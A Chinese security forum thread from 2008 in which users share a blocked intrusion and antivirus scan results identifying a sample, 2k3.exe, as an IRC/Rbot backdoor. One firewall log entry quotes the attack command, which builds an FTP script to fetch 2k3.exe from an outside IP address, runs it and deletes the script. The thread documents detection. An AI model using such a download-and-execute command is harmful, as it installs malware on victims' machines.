抓到的

spaceplane

想偷袭我，被EQ拦掉。AVAST报，大蜘蛛报

像是个后门

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Backdoor.Win32.IRCbot.wqt

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.28.22

醉一生爱妍

C:\Documents and Settings\Administrator\桌面\2k3[1].exe.rar >>RAR >>2k3.exe.vir - IRC/SdBot 木马

IRC木马的东东，老东西了把

spaceplane

2008-01-23 20:55:17    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\system32\lsass.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c echo open 216.223.123.48 2755 > i&echo user 1 1 >> i &echo get 2k3.exe >> i &echo quit >> i &ftp -n -s:i &2k3.exe&del i

又是FTP

您查询的IP:216.223.123.48

本站主数据：美国 查询结果2：美国 查询结果3：美国/加拿大

来自美国或加拿大

[ 本帖最后由 spaceplane 于 2008-1-23 21:21 编辑 ]

剑书

Starting the file scan:

Begin scan in 'K:\2k3[1].exe.rar'
K:\2k3[1].exe.rar
  [0] Archive type: RAR
  --> 2k3.exe.vir
      [DETECTION] Contains detection pattern of the worm WORM/Rbot.100352.1
      [INFO]      A backup was created as '47ca3e1a.qua'  ( QUARANTINE )
      [INFO]      The file was deleted!

wangjay1980

detected: Trojan program Backdoor.Win32.Rbot.gay        File: C:\Documents and Settings\Owner\×ÀÃæ\2k3[1].exe.rar/2k3.exe.vir

tracydk

allinwonderi

挺老了。

Palkia

木马名称:Backdoor.Win32.Rbot.hhm

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\TWIEX0\2K3.EXE.VIR
是木马程序!
已成功阻止其运行,是否要删除此文件?

程序:
C:\WINDOWS\SYSTEM32\DRIVERS\IMMDRV.SYS
是否删除木马程序及其衍生物?

C:\Documents and Settings\Administrator\桌面\2k3.exe.rar>>2k3.exe.vir        Backdoor.Rbot.gay.fckp        后门        还未处理

Nerazzurri

扫描进行于：2008-1-23 21:26:56
扫描日志
NOD32版本 2816 (20080123) NT
命令行： C:\Documents and Settings\Administrator\桌面\2k3[1].exe.rar

日期： 23.1.2008  时间：21:27:00
已开启反隐藏功能.
已扫描的磁盘，文件夹及文件：C:\Documents and Settings\Administrator\桌面\2k3[1].exe.rar
C:\Documents and Settings\Administrator\桌面\2k3[1].exe.rar >>RAR >>2k3.exe.vir - IRC/SdBot 木马
已扫描的文件数目：1
已发现的病毒数目：1
完成时间： 21:27:00 总扫描时间：0 秒 (00:00:00)